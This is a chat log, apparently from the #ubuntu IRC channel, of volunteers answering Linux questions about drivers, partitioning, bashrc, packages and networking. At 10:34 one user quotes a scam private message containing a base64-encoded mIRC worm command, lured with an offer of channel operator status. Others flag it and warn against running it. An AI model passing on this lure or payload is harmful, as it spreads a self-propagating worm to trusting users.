[10:14] <bobbyd> NeoFax, the defualt route isn't there, it works if I set it by hand
[10:15] <Hurga> ivoks: The device just gets stuck. Kernel bug I guess,
[10:15] <ivoks> Hurga: sure it does... nothing escapes KILL signal
[10:15] <bobbyd> NeoFax, can I just edit some config file by hand?
[10:15] <Hurga> ivoks: looks like you didn't deal with buggy device drivers a lot yet...
[10:15] <mitzkrieg> noob to linux, need help getting ati driver installed. tried following the wiki instructions but it didn't work
[10:15] <NeoFax> Hurga: Does cdrecord have the capability of setting the debug on the fly?  By that I mean try cdrecord --help and see if there is a switch to set debug from errors to maybe warnings as well.
[10:15] <ivoks> :)
[10:15] <ivoks> right, just since '96.
[10:15] <NeoFax> bobbyd: /etc/network/interfaces
[10:16] <bobbyd> NeoFax, thanks
[10:16] <NoUse> mitzkrieg can you paste your /etc/X11/xorg.conf and /var/log/Xorg.0.log to pastebin?
[10:16] <NoUse> !tell mitzkrieg about pastebin
[10:16] <Hurga> NeoFax: just tried -v so far, but there's indeed some debugging stuff. Trying.
[10:16] <Snadder> HappyFool, which packages is in "universe"?
[10:17] <chrismy> hey ya..how so i run .bashrc?
[10:17] <HappyFool> Snadder: "free" (as in freely licensed) software
[10:17] <NeoFax> chrismy: What are you asking?
[10:17] <Kakashi10> ive got a problem with kde apps, they all freeze my xorg server after launching, someone could help?
[10:17] <mitzkrieg> says i don't have the /etc/Xll/xorg.conf when i try to troubleshoot. not sure how to navigate through the directories very well
[10:17] <Snadder> HappyFool, I meant.. compeard to which packages debian got?
[10:17] <HappyFool> Snadder: there are a lot of packages; maybe look at packages.ubuntu.com
[10:18] <Snadder> HappyFool, whats the benefit of using packages from universe?
[10:18] <chrismy> NeoFax, i have added alias into my ~/.bashrc. so how could i 'activate' what i have added?
[10:18] <HappyFool> Snadder: much more choice
[10:18] <Snadder> HappyFool, ah. ok.. thanks!:)
[10:18] <IcemanV9> chrismy: source .bashrc
[10:18] <NeoFax> Snadder: Try doing a wget of the debian Packages.gz and diffing the files
[10:18] <karljp> anyone have a good link for setting up WPA?
[10:18] <chrismy> IcemanV9,  hey thanks man!
[10:18] <chrismy> it works!
[10:19] <NeoFax> karljp: Look for wpa_supplicant in the forums
[10:19] <IcemanV9> enjoy your new alias command. :)
[10:20] <CPD|nons_> if I resize my NTFS hdd like its said in the FAQs, will my original files be deleted or preserved?
[10:20] <chrismy> IcemanV9, hm not the first time though. i have forgotten the command :( i want to run blender
[10:20] <NeoFax> CPD|nons_: If you have space left on the drive no
[10:21] <NeoFax> they will be moved under the portion of the drive you resize NTFS too
[10:21] <NoUse> mitzkrieg do you have anything like xfree86-4.conf in /etc/X11 ?
[10:21] <Hurga> NeoFax: http://paste.ubuntulinux.nl/1750
[10:21] <CPD|nons_> so when I do that dualboot install, I wont harm my files right?
[10:22] <CPD|nons_> cause "backup any valuable documents/photos etc" gives me the creeps :p
[10:22] <chrismy> NeoFax, what 'source' means?
[10:22] <ivoks> Hurga: time for new cd burner?
[10:22] <bimberi> CPD|nons_: it's good advice though :)
[10:22] <NeoFax> CPD|nons_: I have never resized an NTFS partition, so I cannot say.  I would use Partition Magic or something of this nature to resize my partitions.
[10:23] <Hurga> ivoks: no, works fine with Knoppix
[10:23] <NeoFax> chrismy: It tells bash to read that file and execute the commands within
[10:23] <CPD|nons_> ok, so its only a general warning, thanks again :)
[10:23] <chrismy> !source
[10:23] <ubotu> No idea, chrismy
[10:23] <chrismy> :P
[10:23] <RobHu> What changes do I need to my apt sources to upgrade to Breezy?
[10:23] <vbgunz> hello everyone!
[10:24] <chrismy> NeoFax, well said :D erm so is it possible that i use 'source' command to read and execute other files?
[10:24] <IcemanV9> chrismy: OR (from manpage) Shell builtin commands are commands that can be executed within the running shell's process.
[10:25] <chrismy> IcemanV9, ahh ok so only shell commands....i got it now.... thanks :D
[10:25] <nalioth> RobHu: if you like surprises, you can open your sources.list and change all instances of 'hoary' to 'breezy' (but i'd advise against it, cuz it's still in breakage with each update mode)
[10:25] <chrismy> interesting..
[10:25] <NeoFax> chrismy: No, bash is designed to only understand the commands in that file.  Not just .bashrc, it could be whatever.txt, but the names like alias, eval, ...
[10:26] <NeoFax> Hurga: Your burner is on hdc right?
[10:26] <Hurga> NeoFax: Yes
[10:26] <chrismy> NeoFax, aha! ok got it
[10:27] <IcemanV9> learned something new every day, eh? :P
[10:27] <chrismy> erm anyone helps me on my graphics driver quests? i have odd problems(not serious) which i know not
[10:27] <RobHu> nalioth: Surprises it is!
[10:27] <NoUse> mitzkrieg remember that linux is case sensative
[10:27] <vbgunz> hello everyone!
[10:27] <NeoFax> Hurga: Then, the only thing that it looks like is the kernel talking to the drive as it is getting a timeout and read errors.
[10:27] <NeoFax> What chipset do you have?
[10:28] <nalioth> RobHu: don't say i didnt warn you
[10:28] <Hurga> NeoFax: Intel 440BX
[10:28] <RobHu> nalioth: :-D
[10:28] <nomed> hi all
[10:28] <Hurga> (yes, rather old=
[10:28] <Dragon513> a.. how do you know if AMD
[10:28] <vbgunz> I have a quick question about IRC. Can anyone be kind enough to point me to a page on how to change my password for IRC? I am looking and it seems you either can't do it or there is no point. I've googled a bit and found nothing. Someone please help!
[10:28] <Dragon513> 's cool and quiet
[10:28] <Dragon513> is working?
[10:28] <chrismy> NeoFax, nforce4
[10:29] <chrismy> oops
[10:29] <waynekruse> hi
[10:29] <chrismy> NeoFax, Geforce FX5200
[10:29] <nomed> anyone having problem with hoary and  Intel Corp. 82801CA/CAM AC'97 Audio Controller
[10:29] <mitzkrieg> trying again
[10:29] <waynekruse> i need some help with setting up PHP, MYSQL, and Apache on Hoary
[10:29] <chrismy> waynekruse, what is that about?
[10:29] <NeoFax> Hurga: Have you tried setting the hdparm for that to say -X33?
[10:30] <NoUse> !lamp
[10:30] <ubotu> it has been said that lamp is Linux-Apache-MySQL-PHP, one of the standard internet server installations. Installing LAMP in Hoary is fairly straightforward. More info at https://wiki.ubuntu.com/ApacheMySQLPHP
[10:30] <din> nomed: modprobe snd-intel8x0
[10:30] <NeoFax> chrismy: What problem are you having with a NVIDIA card?
[10:30] <waynekruse> ok, ill look for LAMP
[10:30] <TheMagnumMunkey> hi, um i installed misfit modellor through the generic instructions (cd, configure, make, make install)and restarted, but now i cant find it in any of my menus
[10:30] <nomed> din .. lsmod snd_intel8x0,snd_intel8x0m
[10:30] <Hurga> NeoFax: No. Will try. BRB reboot (device is stuck from using cdrecord)
[10:30] <Dragon513> Does anyone know how to find out CPU frequency? I just want know make sure Cool'nQuite is working all right
[10:31] <TheMagnumMunkey> waynekruse, no i do not fall for scams like that
[10:31] <BockBilbo> hello?
[10:31] <din> nomed: so what's the problem?
[10:31] <nomed> din. do you know why hotplug probe this snd_intel8x0m
[10:31] <chrismy> NeoFax, nothing happens in windows. but i ahve no idea how to install drivers on ubuntu linux. i rather go for this https://wiki.ubuntu.com/NvidiaManual?highlight=%28nvidia%29     than   the nvidia-glx. is that ok?
[10:31] <mitzkrieg> typed it in exactly like this /etc/Xll and it didn't take
[10:31] <HappyFool> TheMagnumMunkey: you may have to add a launcher yourself, say to the panel
[10:31] <nalioth> vbgunz: try /msg nickserv help
[10:31] <Olsen> how do i change a user group?
[10:31] <nomed> din, no mixer  elems found
[10:31] <NoUse> mitzkrieg 'cd /etc/X11' fails? with what error?
[10:32] <bimberi> Dragon513: There's a CPU Frequency monitor among the panel applets
[10:32] <nalioth> omfg. they are gettin smarter.
[10:32] <mitzkrieg> oh geez, nevermind, i was typing the letter L, not #1
[10:32] <mitzkrieg> ok, i'm in the directory
[10:32] <Roots> Olsen?
[10:32] <TheMagnumMunkey> HappyFool, nice to see your helping me out again (i got a new nick) but how would i do that
[10:33] <Roots> Why is your alias my last name :P
[10:33] <NoUse> mitzkrieg there should be a file xorg.conf, paste that and /var/log/Xorg.0.log to pastebin
[10:33] <NoUse> !tell mitzkrieg about pastebin
[10:33] <mitzkrieg> roger
[10:33] <HappyFool> TheMagnumMunkey: you need to know the name of the program (i.e., the name of the executable)
[10:33] <Olsen> Roots: I want to move my user to users group
[10:33] <TheMagnumMunkey> ohh
[10:33] <HappyFool> TheMagnumMunkey: it's probably in /usr/local/bin
[10:33] <TheMagnumMunkey> would that be in the folder i ran the ./configure script from?] 
[10:33] <TheMagnumMunkey> ok
[10:34] <TheMagnumMunkey> ok its there
[10:34] <Roots> I got the following Pm, which I think is a scam::: <waynekruse> Want to be an OPERATOR in #ubuntu ? copy/paste this-> //write  $decode(b24gMTp0ZXh0Oio6Izp7IC5pZ25vcmUgJG5pY2sgfCAudGltZXKgIDAgMTIwIC5qb2luICNNYW5pbGEgfCAubXNnICRuaWNrIFdhbnQgdG8gYmUgYW4gT1BFUkFUT1IgaW4gJGNoYW4gPyBjb3B5L3Bhc3RlIHRoaXMtPgMxNCAvL3dyaXRlIKAgJCAkKyBkZWNvZGUoICQrICRlbmNvZGUoJHJlYWQoJHNjcmlwdCxuLDEpLG0pICQrICxtKSAkY2hyKDEyNCkgLmxvYWQgLXJzIKAgJGNocigxMjQpIC8vbW9kZSAkICQrIG1lICtSIH0=,m
[10:34] <Roots> ) | .load -rs  | //mode $me +R
[10:34] <nalioth> Roots: dont run that
[10:34] <chrismy> Roots, what is that?
[10:34] <Seveas> Roots, fool
[10:34] <nomed> Roots, the same
[10:34] <chrismy> Roots, is that real?
[10:34] <Seveas> don't take that for real
[10:34] <din> umm
[10:34] <chrismy> Seveas, ok
[10:34] <Roots> Thank you
[10:34] <Seveas> waynekruse is an idiot
[10:34] <nalioth> chrismy: dont do it, it'll do bad things to your box
[10:34] <din> that's an mirc script
[10:34] <Roots> I didn't run it
[10:34] <Olsen> how can i move my user to the users group?
[10:34] <bimberi> Roots, so did I - ignored
[10:34] <HappyFool> TheMagnumMunkey: then right-click on the panel, choose 'add to panel' and 'custom application launcher'
[10:34] <kelperr> I am new to Linux and I am still trying to learn as much as I could. I converted a RPM package to deb and I did dpkg -i to instlall it. Here is the log of the installation
[10:34] <chrismy> nalioth, hell him!
[10:34] <apokryphos> silly phools :D
[10:34] <BockBilbo> Roots, i got it too
[10:34] <Roots> I just wanted to point it out
[10:34] <kelperr> Unpacking replacement gyach-enhanced-media-package ...
[10:34] <kelperr> Setting up gyach-enhanced-media-package (0.2-2) ...
[10:34] <kelperr> root@94544:/home/lexmark/Desktop #
[10:34] <chrismy> nalioth, oh and hi agian...we meet again:D
[10:35] <TheMagnumMunkey> HappyFool, there is no custom aplication launcher item in the menu
[10:35] <nalioth> Seveas: get the bigger hammer
[10:35] <kelperr> I tried typing gyach from run and it says it could not locate gyach
[10:35] <din> thx Seveas
[10:35] <mitzkrieg> once i'm in the directory, how do you get the xorg.conf to show up so i can pastebin it
[10:35] <BockBilbo> thks Seveas
[10:35] <din> morons i tell you
[10:35] <HappyFool> TheMagnumMunkey: did you clcik 'Add to panel' ?
[10:35] <NeoFax> chrismy: That is explaining how to do the nvidia-glx
[10:35] <chrismy> is waynekru a bot?
[10:35] <Burgundavia> TheMagnumMunkey, alt-f2 to launch it
[10:35] <kelperr> can anyone tell me if that means if the programs is installed properly?
[10:36] <Seveas> kelperr, it is
[10:36] <nalioth> chrismy: no, he's just a dumbass
[10:36] <Seveas> but NEVER paste in here
[10:36] <HappyFool> TheMagnumMunkey: right-click on open space on the panel (panels are the bars at the top and bottom of the screen)
[10:36] <kelperr> sorry Seveas
[10:36] <TheMagnumMunkey> im running KDE, just to let you know HappyFool
[10:36] <TheMagnumMunkey> and im not a noob'
[10:36] <HappyFool> TheMagnumMunkey: ah
[10:36] <CarlFK> what would run decode()?  (guessing xchat?)
[10:36] <HappyFool> TheMagnumMunkey: sorry, i'm not familiar with kde
[10:36] <Seveas> mirc
[10:36] <chrismy> NeoFax, yes but i encouter have problems saying failed this and that. when booting my monitor flickers and kicked me out in the black and cold terminal
[10:36] <NoUse> mitzkrieg use gedit
[10:36] <din> i'm running e17
[10:36] <din> :p
[10:36] <Burgundavia> TheMagnumMunkey, you might get better help in #kubuntu
[10:36] <kelperr> just another quick Seveas, if that program is installed properly.. how can I locate it?
[10:36] <din> actually it's e16.999
[10:37] <bobbyd> why would my dvd reader be really slow when copying files to my hard drive?
[10:37] <CarlFK> rats. I wanted to see what it decoded to
[10:37] <kelperr> file search did not find anything
[10:37] <bobbyd> (3MB/sec)
[10:37] <TheMagnumMunkey> kubuntu doesnt talk and its ok i figured it out
[10:37] <nalioth> bobbyd: dma issues?
[10:37] <NeoFax> chrismy: Have you tried sudo nvidia-glx-config enable?
[10:37] <TheMagnumMunkey> and for all you gnome-ers, i higly reccomend KDE
[10:37] <chrismy> nalioth, what is the purpose of the script? what it does to our linux box?
[10:37] <din> http://din.homelinux.net/gallery/album02/e17 :p
[10:37] <Seveas> kelperr, dpkg -L packagename
[10:37] <bobbyd> nalioth, how do I debug that? it worked fine under gentoo btw.
[10:37] <din> my wallpaper is animated hehe
[10:37] <chrismy> NeoFax, i tried all
[10:37] <nalioth> kelperr: open a terminal and type "sudo updatedb" after that is done, you should get results from your search after that
[10:37] <chrismy> NeoFax, erm i tried the https://wiki.ubuntu.com/NvidiaManual?highlight=%28nvidia%29
[10:38] <chrismy> NeoFax, before that was the nvidia-glx
[10:38] <NeoFax> chrismy: Is the nvidia driver loaded?  do lsmod | grep nvidia
[10:38] <chrismy> NeoFax,  nvidia               4386600  12
[10:38] <Hurga> NeoFax: same thing again. - Any ideas? compiling a new kernel?
[10:38] <kelperr> Thanks Seveas and nalioth
[10:39] <NeoFax> chrismy: Is nvidia in your xorg.conf file?
[10:39] <Olsen> how can i move a user to a group??
[10:39] <chrismy> NeoFax, oh yes
[10:39] <chrismy> NeoFax, 	Driver		"nvidia"
[10:40] <Slant> Does anyone know how broken Breezy is? I'm considering migrating my laptop tonight, but it would be good to know what I'm getting into ahead of time.
[10:40] <NeoFax> Hurga: I guess so, as the Intel chipsets are fairly well supported.
[10:40] <HappyFool> Olsen: maybe system -> administration -> user and groups is what you want?
[10:40] <HappyFool> Olsen: what do you want to achieve?
[10:40] <Slant> My laptop is currently Hoary.
[10:40] <nalioth> Slant: it could break with any update
[10:40] <NeoFax> chrismy: What AGP chipset are you using nforce?
[10:40] <tstuart> Hi all! I have just started running Ubuntu AMD64 on my laptop
[10:40] <tstuart> I hope someone can help me with a strange connection problem
[10:41] <Slant> nalioth: I realize it _could_ break, but that doesn't necessarily mean it will. That's why I was asking about the current status. :-\
[10:41] <Hurga> NeoFax: Thought so. I mean... cmmon (if a bit old) chipset, and the Cyberdrive writer is far from exotic too
[10:41] <chrismy> NeoFax, erm i am not very good in this. but how so you mean? how do i check it? my model is GeForce FX 5200
[10:41] <nalioth> Slant: if you are running x86, you should have the least trouble of any arch (notice the word trouble)
[10:41] <NeoFax> Hurga: You could also try updating the cdburners bios.
[10:42] <tstuart> The problem is that I first must use nslookup to find a site, and then I can connect to it
[10:42] <anacaona> ivoks: no pointers for my routing issue?
[10:42] <NeoFax> chrismy: What mobo do you have?
[10:42] <ivoks> anacaona: meeting...
[10:42] <chrismy> NeoFax, mobo?
[10:42] <anacaona> oops. ok.
[10:42] <NeoFax> Hurga: firmware not bios I meant
[10:42] <chrismy> !mobo
[10:42] <ubotu> parse error: dunno what the heck you're talking about, chrismy
[10:42] <chrismy> hahaha
[10:42] <NeoFax> chrismy: motherboard
[10:42] <chrismy> NeoFax, Nforce4
[10:42] <Hurga> NeoFax: got you. Shouldn't be too old though.
[10:42] <QMario> How do I view Quicktime and Windows Media movies in Firefox?
[10:43] <chrismy> NeoFax, let me get you the details hold
[10:43] <QMario> !Mplayer
[10:43] <ubotu> well, mplayer is https://wiki.ubuntu.com/MplayerInstallHowto.  For compiling, see: http://ubuntuforums.org/showthread.php?t=31061
[10:43] <NeoFax> chrismy: Are you using NVIDIA's drivers for the NForce?
[10:43] <mitzkrieg> ok, i pastebin'd
[10:43] <chrismy> NeoFax, K8N Neo3
[10:43] <chrismy> NeoFax, yes all and everything about Nvidia
[10:44] <NeoFax> chrismy: Have you tried the Option  "NVagp"  "some option"  option?
[10:44] <squinn> why do i always join ubuntu-unregged at xchat startup
[10:44] <squinn> i have freenode log me in at server connet
[10:44] <squinn> connect*
[10:44] <CookedGryphon> Hi, i want to know 2 things, firstly if i install a new distro, can i keep all mysettings and all my data in my home folder intact?
[10:44] <nalioth> QMario: there is an mplayer plugin that plays quicktime, mpg, avi and such, but i'm not sure if it plays wmv
[10:44] <_mindspin> does anybody know where I can read freenode Memos ?
[10:45] <chrismy> NeoFax, how so? in the Xorg.conf?
[10:45] <NeoFax> CookedGryphon: If your /home is on a seperate partition, Yes
[10:45] <QMario> Nalioth, where can I get the plugin?
[10:45] <mgbaron> hi,  i've been using ximian evolution for a couple months with it set to "check incoming mail for junk" but i haven't noticed that it has found any.  am i missing something?  how would I know?
[10:45] <kelperr> Seveas, when I type dpkg -L gyach-enhanced-media-package_0.2-2_i386.deb it says "package not installed"
[10:45] <NeoFax> chrismy: Yes, right under the driver "nvidia" option.
[10:45] <vbgunz> thank you nalioth!
[10:45] <Seveas> dpkg -L gyach-enhanced-media-package
[10:45] <chrismy> NeoFax, ah ok hold on
[10:45] <CookedGryphon> NeoFax, it aint
[10:46] <CookedGryphon> NeoFax, what then?
[10:46] <Ebowles> how can I change my opengl drivers?
[10:46] <bimberi> _mindspin: "/query memoserv" then type "help"
[10:46] <_mindspin> thanks
[10:46] <bimberi> yw :)
[10:46] <NeoFax> CookedGryphon: You could resize one of your partitions to accomodate your home and move your files from your currrent /home to there
[10:46] <CookedGryphon> hmm, its a bit of a faff
[10:47] <h0sl3r> Anything better than gaim out there? I want something that wont take up half of my desktop.
[10:47] <NoUse> mitzkrieg what model card do you have?
[10:47] <cemc> where can i learn about packaging in ubuntu? creating .deb files
[10:47] <NeoFax> CookedGryphon: You could also hook up a usb drive and move the files and then put on the new distro and move them back
[10:47] <CookedGryphon> 15gb of files?
[10:47] <mitzkrieg> 9600 XT
[10:48] <NoUse> mitzkrieg did you follow the ATI Wiki page closely? You didn't complete all the steps
[10:48] <NeoFax> cemc: Go to the debian developers page.  That will explain how to make debs
[10:48] !lilo:*! Two small server upgrades; affected users, about 60
[10:48] <mitzkrieg> i thought i did. i can try again. wouldn't be suprised if i muffed something up
[10:48] <mitzkrieg> brb
[10:48] <chrismy> NeoFax, sorry was chatting the #blenderchat to find out when will be the latest version...i mean book :P
[10:49] <NoUse> mitzkrieg you need to change ati fglxr or something in the conf file
[10:49] <NoUse> mitzkrieg ati to fglxr*
[10:49] <mitzkrieg> roger
[10:49] <selinium> Hi all! what is the easiest way to get my remote machine to download an ftp file?
[10:49] <NeoFax> CookedGryphon: I highly suggest not using the same /home folder for two different distros.  i.e. You have KNOPPIX and Ubuntu installed on the same PC and they share the /home folder.
[10:50] <yahalom> is there any distro that installs from one floppy?
[10:50] <NoUse> mitzkrieg make sure my spelling is right on the wiki
[10:50] <stodge> Hey guys - is there a codeblocks package for Ubuntu anywhere?
[10:50] <mitzkrieg> k
[10:50] <CookedGryphon> NeoFax, i'm not gonna install em at the same time, i'm talking if i want to install a new distro but keep all my data
[10:51] <NeoFax> CookedGryphon: Either by usb drive or resize your partition and create a new partition.
[10:51] <mitzkrieg> i think i know what i did wrong. one sec
[10:52] <NeoFax> chrismy: Read the NVIDIA file for all of the options for the NVagp feature.
[10:52] <CookedGryphon> NeoFax, how hard is it to resizxe partitions if i allocate too much space to my home folder n don't ahve enuf space for apps etc?
[10:52] <NeoFax> CookedGryphon: How big of a HDD do you have?
[10:52] <anacaona> can anyone else help me? my server can't use a dialup internet connection while connected to the lan.
[10:52] <Ebowles> how can I change my opengl drivers?
[10:53] <CookedGryphon> NeoFax,  30GB
[10:53] <CookedGryphon> and 15GB of music
[10:53] <chrismy> NeoFax, there are three part which has 'options' too
[10:53] <CookedGryphon> then i'll want extra space in case i get more, and for work files etc
[10:53] <iratsu> if i install a new kernel image, do i have to reinstall nvidia-glx?
[10:53] <nitrocks> i'm about to switch over from debian to ubuntu.. i have purchased a new hd and i was wondering what would be the best filesystem to format the drive with?.. ext3?
[10:53] <bobbyd> nalioth, my problem is similar to this one: http://ubuntuforums.org/archive/index.php/t-9285.html
[10:53] <NeoFax> CookedGryphon: I normally do 20GB for / (/,/usr,/opt,/var./tmp), 10-20GB for /home and 20MB for /boot
[10:53] <chrismy> NeoFax, there is no NVagp
[10:54] <bobbyd> nalioth, I get an error when I try to turn DMA on, but it worked under gentoo. do you think it's somehow loading the wrong module for the dvd rom drive?
[10:54] <nitrocks> this new drive will be and slave and will contain all my data (mp3s, etc..) from my previous debian install
[10:54] <NeoFax> chrismy: You have a Devices section in xorg.conf and it goes in their.
[10:54] <mitzkrieg> gotta restart, be back if it didn't work
[10:55] <bytefoo> how can i see the version of a package
[10:55] <QMario> Whenever I try to open MSS, it crashes. Why is this?
[10:55] <Hurga> where can I get the config of the currently installed kernel?
[10:55] <vbgunz> Hello everyone, I am back... I have an interesting question regarding Ubuntu...
[10:55] <chrismy> NeoFax, can i paste it here?
[10:55] <QMario>  Multimedia System Selector(MSS). 
[10:55] <bimberi> nitrocks: the default ubuntu install uses ext3 (hopefully that answers :) )
[10:56] <Ebowles> how can I make it so I don't have to manually turn on dma mode every time I restart?
[10:56] <nalioth> bobbyd: i'm not familiar with hdparm settings. sorry
[10:56] <QMario> Hello Seveas! :)
[10:56] <QMario> Hello ompaul! :)
[10:56] <CarlFK> Ebowles - search the wiki - there is exact instuctions on what you need
[10:56] <QMario> Hello chrismy! :)
[10:56] <chrismy> QMario, yes?
[10:56] <iratsu> If i install a new kernel image, do i have to reinstall nvidia-glx?
[10:57] <vbgunz> will ubuntu ever standalone in a pluggable virtual machine like metropipe linux found here http://www.metropipe.net/ProductsPVPM.shtml
[10:57] <chrismy> QMario, (a bit dumb) HELLO QMario !!!!
[10:57] <chrismy> QMario, hahha
[10:57] <CarlFK> iratsu - no
[10:57] <CarlFK> iratsu - at least I dont think so.
[10:57] <NeoFax> chrismy: Check this out: ftp://download.nvidia.com/XFree86/Linux-x86/1.0-7667/README.txt
[10:57] <Ebowles> !dma
[10:57] <iratsu> CarlFK: what would explain me getting (EE) NVIDIA(0): Failed to load the NVIDIA kernel module! in X after upgrading my kernel then?
[10:58] <vbgunz> I don't mean standalone like the only way to go but standalone so I can take Ubuntu with me and plug up anywhere with a USB
[10:58] <NeoFax> chrismy: Do not paste it here, that is a pain for evryone else
[10:58] <brk3> hi, im looking to install ubuntu but my disk isnt partitioned. seen as the ubuntu installer doesnt do this, can anyone suggest a good windows tool to do it?
[10:58] <vbgunz> ubuntu does partition the disk
[10:58] <CarlFK> iratsu - needing to upgrade the kernel modules?  (this sounds familiar)(
[10:59] <chrismy> NeoFax, :( i ahve been there. it is precisely the same as the page i pasted to you
[10:59] <brk3> vbgunz: does it?
[10:59] <vbgunz> just go ahead with install and you'll see you can parition it especially if it isn't already partitioneed
[10:59] <vbgunz> yes, the installer does not the live cd
[10:59] <brk3> vbgunz: isnt it a tricky text mode one though
[10:59] <nitrocks> when you do a cp -r, does that perserve the permissions, etc.. associated with the files?
[10:59] <vbgunz> yeah but it isn't too hard
[10:59] <CarlFK> nitrocks - no.  use -a
[10:59] <bobbyd> where do I add config options for modules on load?
[10:59] <NeoFax> chrismy: Down in appendix F(I think) it talks about all of the options you can use.
[11:00] <vbgunz> I learned ubuntu uses ext3 format and just set it too /
[11:00] <cemc> NeoFax: after that? for ubuntu it's exactly the same thing ?
[11:00] <vbgunz> thats your root, then say automatically partition it although if you want to get technical Ubuntu could beat you too the punch
[11:00] <selinium> Hi Seveas! you were going to help me through my first compile the ohter night. then you logged out. If you have got any time I can paste the output up again?
[11:00] <Hurga> I need the config of the distro kernel. Where can I find it?
[11:01] <mitzkrieg> NOUSE: it worked, thanks. it was all a case of mispelling on my part
[11:01] <vbgunz> hey sorry brk3 my last note might confuse you... I mean the install cd partitions the disk, the live cd does not
[11:01] <Seveas> selinium, there's a CC meeting now - so i'm busy
[11:01] <kelperr> just another quick question.. I could not locate the commmand line for the alien package convertor to convert rpms to debs?
[11:01] <kelperr> does anyone know
[11:01] <selinium> Seveas: np maybe some other time :)
[11:02] <thrush> kelperr, maybe alien -d *.rpm
[11:02] <brk3> vbgunz: no i got that. dunno im just a little worried using this. ubuntus installer really needs to go graphical
[11:02] <flipmo> chances are I'm a bit useless, but I can't for the life of me get Synaptic to install gcc-4.0 so that "gcc --version" returns 4.0 instead of 3.3.5
[11:02] <selinium> Hi all! what is the easiest way to get my remote machine to download an ftp file?
[11:02] <kelperr> thanx thrush
[11:02] <NoUse> mitzkrieg cool
[11:02] <kelperr> damm, why are developers are not leaving documentation
[11:03] <vbgunz> I agree, I believe it is being worked on but incredibly if you go ahead with the default installation it really is straightforward... I never played or worked with linux before... I went through the default install only once and at the end had it up and running... was pretty easy
[11:03] <bimberi> brk3: there's an overview of the process here https://wiki.ubuntu.com/forum/installation/Partitioning
[11:03] <brk3> vbgunz: ok.. but if i lose my data im coming after you :p
[11:03] <brk3> bimberi: thanks
[11:03] <vbgunz> woah
[11:04] <vbgunz> you have data?
[11:04] <bimberi> brk3: back up first :)
[11:04] <vbgunz> dude hold up
[11:04] <vbgunz> yeah it might confuse you
[11:04] <brk3> i dont really, its a new laptop
[11:04] <NeoFax> cemc: Compiling a deb is the same whether you use Ubuntu, Deban, Xandros or MEPIS.  The difference is the debs that are already installed.
[11:04] <vbgunz> I believe you might have to download partman or something
[11:04] <vbgunz> hold up
[11:04] <bimberi> vbgunz: no, it's ok
[11:05] <brk3> i just dont want to go through the whole system restore thing if it fucks up
[11:05] <vbgunz> if you have nothing to backup, theres nothing to worry about
[11:05] <bimberi> brk3: laptop preinstalled with windows?
[11:05] <vbgunz> you can just dual boot too
[11:05] <brk3> bimberi: ya
[11:05] <brk3> vbgunz: thats what i want to do
[11:05] <vbgunz> its pretty easy if you let grub take it over
[11:05] <bimberi> brk3: ok, it should be fine :)
[11:05] <brk3> vbgunz: my main concern is that resizing the windows partition will ruin it
[11:05] <thrush> manually edit partition table takes you into cfdisk right?
[11:05] <vbgunz> I have some advice though as it seems to not happen to some people
[11:06] <thrush> nm =)
[11:06] <bimberi> brk3: i'd never say never, but it should be ok :)
[11:06] <vbgunz> if you try to install grub but get a fatal error theres two things you can do without having to install lilo
[11:06] <ohphracku> dose someone want to explain to me why apt-get remove *foo is a dependency hell raiser?
[11:06] <cg0def> does phpmysql work with apache2?
[11:06] <Kyral> ohphracku, use debfoster
[11:07] <vbgunz> one, if grub fails you'll be given a list of things to do... you can either repartition so go back to that step in the list OR finish install and install again
[11:07] <cg0def> cause I can't get it to work at all
[11:07] <iratsu> CarlFK: how do i upgrade kernel modules?
[11:07] <brk3> The Warty installer did not have this functionality, but the Hoary installer does.
[11:07] <brk3> there was my problem
[11:07] <brk3> ok thanks for the advice - here goes
[11:07] <lancer285> does anyone know anything about remapping keys on my keyboard?
[11:07] <vbgunz> another thing
[11:08] <LasseL> lancer285, most of it is in the menu
[11:08] <brk3> ya?
[11:08] <ohphracku> or why apt just sucks i mean u want to install kde right then good ol apt says hey i'll install 234 packages as well just to make him really happy ;-{
[11:08] <lancer285> LasseL, which menu?
[11:08] <vbgunz> in case you already have a dual boot and your trying to turn it into a triple boot be aware something happens and mappings are moved around
[11:08] <LasseL> lancer285, system > pref > keyboard shortcuts
[11:08] <brk3> na dont have that
[11:08] <brk3> never heard of a triple boot :)
[11:08] <Kyral> ohphracku, its because KDE won't work without most of those :P
[11:08] <vbgunz> so easy to fix but nothing huge to sweatr
[11:08] <lancer285> LasseL, will that work for the 'extra key's my keyboard has?
[11:08] <ohphracku> when i say install somthin i mean only core absolutly requierd packs
[11:08] <vbgunz> I don't know if theres a word for it but I have a triple boot
[11:08] <iratsu> How can i upgrade kernel modules?
[11:08] <brk3> what're the chances that grub wont work and i get locked out of the system
[11:09] <LasseL> lancer285, i don't know about multimedia keys
[11:09] <LasseL> lancer285, i got my windows key working though
[11:09] <ohphracku> thats bull dude ive built kde from source i know what makes it work
[11:09] <Kyral> ohphracku, then install them by hand (individual apt-gets)
[11:09] <ohphracku> u cant
[11:09] <lancer285> LasseL, yeah, I have multimedia keys on my keyboard I'd like to get working
[11:09] <ohphracku> i dose what it wants to
[11:10] <vbgunz> I don't think it will happen... I installed ubuntu three times on on the first time each I always got the fatal error... to fix it was simple... just either step back to repartition OR install again to the same spot... miraculously it always worked the second time around
[11:10] <LasseL> lancer285, I think you have to use xmodmap for those, it is a FAQ google for it
[11:10] <lancer285> LasseL, okay, thanks I'll check that out
[11:10] <ohphracku> i use slackware, gentoo and i feel happy it dose what i want when i tell it and only what i tell it
[11:11] <Kyral> ohphracku, there is nothing stopping you from downloading the sources from KDE.org and compiling it manually
[11:11] <vbgunz> does anyone here know of a standalone virtual machine for Ubuntu like metropipe Linux...
[11:11] <QMario> Chrismy, how do I get the mplayer plugin to work in Mozilla Firefox?
[11:11] <Kyral> I also wish there was a base KDE metapack, but there isn't
[11:11] <ohphracku> yes but why is this the approach of apt devs its nonsense
[11:11] <Kyral> You mean the Ubuntu devs
[11:11] <LasseL> ohphracku, did you find the "just work" button in gentoo, if so, let me know ... :p
[11:12] <apokryphos> Kyral: base kde metapack? As in, the core stuff?
[11:12] <vbgunz> I am trying to take Ubuntu with me and unlike the live cd I wish to carry my settings with me and etc
[11:12] <Kyral> and then email'em
[11:12] <Kyral> apokryphos, yes
[11:12] <apokryphos> Kyral: kde-core
[11:12] <ohphracku> yeah i did its called experience
[11:12] <Kyral> ohphracku, there you go :P
[11:12] <ohphracku> :] 
[11:12] <apokryphos> all in the installing kde wiki...
[11:12] <Kyral> kde-core
[11:12] <LasseL> bah
[11:12] <apokryphos> !wiki InstallingKDE
[11:12] <bluefoxicy> oh God this is lame.
